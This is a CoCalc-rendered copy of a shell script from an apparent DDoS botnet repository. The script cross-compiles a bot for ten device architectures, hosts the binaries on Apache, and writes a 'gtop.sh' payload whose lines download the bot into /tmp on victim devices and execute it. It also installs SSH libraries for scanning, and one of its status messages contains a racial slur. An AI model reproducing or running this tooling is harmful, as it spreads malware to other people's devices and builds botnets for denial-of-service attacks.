Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/NSA-edit.d9f9b7.c
5038 views
1
//NSA-edit.c based off of shakra.c and NSA-edit.sh
2
//SOME CREDITS TO XORA/SHAY
3
//~B1NARY~
4
echo -e "###############################################################################"
5
echo -e "# ___ __________ ____ _______ _____ _______________.___. ___ #"
6
echo -e "# / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\ #"
7
echo -e "# \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/ #"
8
echo -e "# | | \ | / | \/ | \ | \\____ | #"
9
echo -e "# |______ / |___\____|__ /\____|__ /____|_ // ______| #"
10
echo -e "# \/ \/ \/ \/ \/ #"
11
echo -e "###############################################################################"
12
#########################################
13
###############Botnames##################
14
#########################################
15
L1='jackmymipsel' #mipsel
16
L2='jackmymips' #mips
17
L3='jackmysh4' #sh4
18
L4='jackmyx86' #x86_64
19
L5='jackmyarmv6' #armv6l
20
L6='jackmyi686' #i686
21
L7='jackmypowerpc' #powerpc
22
L8='jackmyi586' #i586
23
L9='jackmym86k' #m86k
24
L10='jackmysparc' #sparc
25
26
#########################################
27
##############Wgetlinks##################
28
#########################################
29
mips='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2'
30
mipsel='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2'
31
sh4='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2'
32
x86_64='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2'
33
armv6l='http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2'
34
i686='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2'
35
ppc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2'
36
i586='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2'
37
m68k='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2'
38
sparc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2'
39
echo "Usage: NSA-edit.c [BOTNAME.c]."
40
sleep 5
41
apt-get install tar -q
42
apt-get install bzip -y || apt-get install bzip2 -y
43
44
#########################################
45
################Wgetting#################
46
#########################################
47
if [ -d cross-compiler-mips ]
48
then
49
echo -e "\e[0;31mcross-compiler-mips is present, no need for wget"
50
else
51
wget --quiet $mips --no-check-certificate
52
tar -xvjf cross-compiler-mips*
53
fi
54
if [ -d cross-compiler-mipsel ]
55
then
56
echo -e "\e[0;31mcross-compiler-mipsel is present, no need for wget"
57
else
58
wget --quiet $mipsel --no-check-certificate
59
tar -xvjf cross-compiler-mipsel*
60
fi
61
if [ -d cross-compiler-sh4 ]
62
then
63
echo -e "\e[0;31mcross-compiler-sh4 is present, no need for wget"
64
else
65
wget --quiet $sh4 --no-check-certificate
66
tar -xvjf cross-compiler-sh4*
67
fi
68
if [ -d cross-compiler-x86_64 ]
69
then
70
echo -e "\e[0;31mcross-compiler-x86_64 is present, no need for wget"
71
else
72
wget --quiet $x86_64 --no-check-certificate
73
tar -xvjf cross-compiler-x86_64*
74
fi
75
if [ -d cross-compiler-armv6l ]
76
then
77
echo -e "\e[0;31mcross-compiler-armv6l is present, no need for wget"
78
else
79
wget --quiet $armv6l --no-check-certificate
80
tar -xvjf cross-compiler-armv6l*
81
fi
82
if [ -d cross-compiler-powerpc ]
83
then
84
echo -e "\e[0;31mcross-compiler-powerpc is present, no need for wget"
85
else
86
wget --quiet $ppc --no-check-certificate
87
tar -xvjf cross-compiler-powerpc*
88
fi
89
if [ -d cross-compiler-m68k ]
90
then
91
echo -e "\e[0;31mcross-compiler-m68k is present, no need for wget"
92
else
93
wget --quiet $m68k --no-check-certificate
94
tar -xvjf cross-compiler-m68k*
95
fi
96
if [ -d cross-compiler-sparc ]
97
then
98
echo -e "\e[0;31mcross-compiler-sparc is present, no need for wget"
99
else
100
wget --quiet $sparc --no-check-certificate
101
tar -xvjf cross-compiler-sparc*
102
fi
103
if [ -d cross-compiler-i586 ]
104
then
105
echo -e "\e[0;31mcross-compiler-i586 is present, no need for wget"
106
else
107
wget --quiet $i586 --no-check-certificate
108
tar -xvjf cross-compiler-i586*
109
fi
110
if [ -d cross-compiler-i686 ]
111
then
112
echo -e "\e[0;31mcross-compiler-i686 is present, no need for wget"
113
else
114
wget --quiet $i686 --no-check-certificate
115
tar -xvjf cross-compiler-i686*
116
fi
117
rm -rf *.tar.bz2
118
echo -e "\e[0;31mDone."
119
sleep 3
120
121
#########################################
122
##############Compiling##################
123
#########################################
124
./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -DMIPSEL -o $L1 $1 > /dev/null 2>&1
125
./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -Dmips -o $L2 $1 > /dev/null 2>&1
126
./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -Dsh4 -o $L3 $1 > /dev/null 2>&1
127
./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -Dx86_64 -o $L4 $1 > /dev/null 2>&1
128
./cross-compiler-armv6l/bin/armv6l-gcc -static -lpthread -pthread -Darmv6l -o $L5 $1 > /dev/null 2>&1
129
./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -Di686 -o $L6 $1 > /dev/null 2>&1
130
./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -Dpowerpc -o $L7 $1 > /dev/null 2>&1
131
./cross-compiler-i586/bin/i586-gcc -static -lpthread -pthread -Di586 -o $L8 $1 > /dev/null 2>&1
132
./cross-compiler-m86k/bin/m86k-gcc -static -lpthread -pthread -Dm86k -o $L9 $1 > /dev/null 2>&1
133
./cross-compiler-sparc/bin/sparc-gcc -static -lpthread -pthread -Dsparc -o $L10 $1 > /dev/null 2>&1
134
echo "\e[0;31mDone."
135
apt-get install apache2; apt-get install php5 -y -q;apt-get install nginx;
136
yum install httpd; yum install php -y -q
137
mv jackmy* /var/www/html/
138
echo -e "\e[1;35mRestarting your apache nigger..."
139
service httpd restart
140
service apache2 restart
141
142
#########################################
143
#########Setting up gtop.sh##############
144
#########################################
145
echo -e "\e[1;35mMaking payload..."
146
cd /var/www/html/; touch gtop.sh
147
148
echo -e "\e[1;35mThis will take a few., be patient.."
149
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L1 && chmod +x $L1 && ./$L1">> gtop.sh
150
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L2 && chmod +x $L2 && ./$L2">> gtop.sh
151
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L3 && chmod +x $L3 && ./$L3">> gtop.sh
152
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L4 && chmod +x $L4 && ./$L4">> gtop.sh
153
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L5 && chmod +x $L5 && ./$L5">> gtop.sh
154
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L6 && chmod +x $L6 && ./$L6">> gtop.sh
155
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L7 && chmod +x $L7 && ./$L7">> gtop.sh
156
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L8 && chmod +x $L8 && ./$L8">> gtop.sh
157
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L9 && chmod +x $L9 && ./$L9">> gtop.sh
158
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L10 && chmod +x $L10 && ./$L10">> gtop.sh
159
160
#########################################
161
######Installing mods for scanning#######
162
#########################################
163
sleep 6
164
echo -e "\e[1;35mFinishing up install...."
165
yum install cpan wget curl glibc.i686 -y
166
cpan force install Parallel::ForkManager
167
cpan force install IO::Socket
168
cpan force install IO::Select
169
sleep 2
170
yum install gcc php-devel php-pear libssh2 libssh2-devel libpcap -y
171
pecl install -f ssh2
172
touch /etc/php.d/ssh2.ini
173
echo extension=ssh2.so > /etc/php.d/ssh2.ini
174
cpan force install Net::SSH2
175